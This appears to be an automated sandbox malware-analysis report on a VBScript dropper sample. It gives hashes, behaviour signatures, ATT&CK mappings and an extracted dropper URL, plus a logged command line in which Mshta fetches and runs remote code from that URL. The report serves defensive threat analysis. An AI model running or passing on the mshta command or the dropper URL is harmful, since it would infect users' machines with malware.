a9ce91d25970df14a0a489bbeb9976adb7dcf7fc122b7e17df8aae35b6c0f986

Analysis

max time kernel
42s
max time network
48s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
19-09-2022 08:09

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General

Target

NBSL542S5W.VBS.vbs
Size

1KB
MD5

82b5e95dbb2e142da5ed868a01c8358e
SHA1

7c23444c67fe2f2e663635a8789276060da56af5
SHA256

a9ce91d25970df14a0a489bbeb9976adb7dcf7fc122b7e17df8aae35b6c0f986
SHA512

74d00a47d6ffebf295e803b660cb6806e20228cc491b9cb0baf7a56f4230d35cde5ac87d77d371baeda6bf82b04a6ad571397eda701c8e3c60c40474c0d27c9a

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://upmnc.com/images/sff.txt

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1692	552	Mshta.EXE	27

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	1692	Mshta.EXE
5	1692	Mshta.EXE
6	1692	Mshta.EXE
7	1692	Mshta.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	Mshta.EXE

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\NBSL542S5W.VBS.vbs"
1⤵
PID:1752

C:\Windows\system32\Mshta.EXE
Mshta.EXE https://upmnc.com/images/sff.txt
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies Internet Explorer settings
PID:1692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1692-54-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmp

Filesize
8KB

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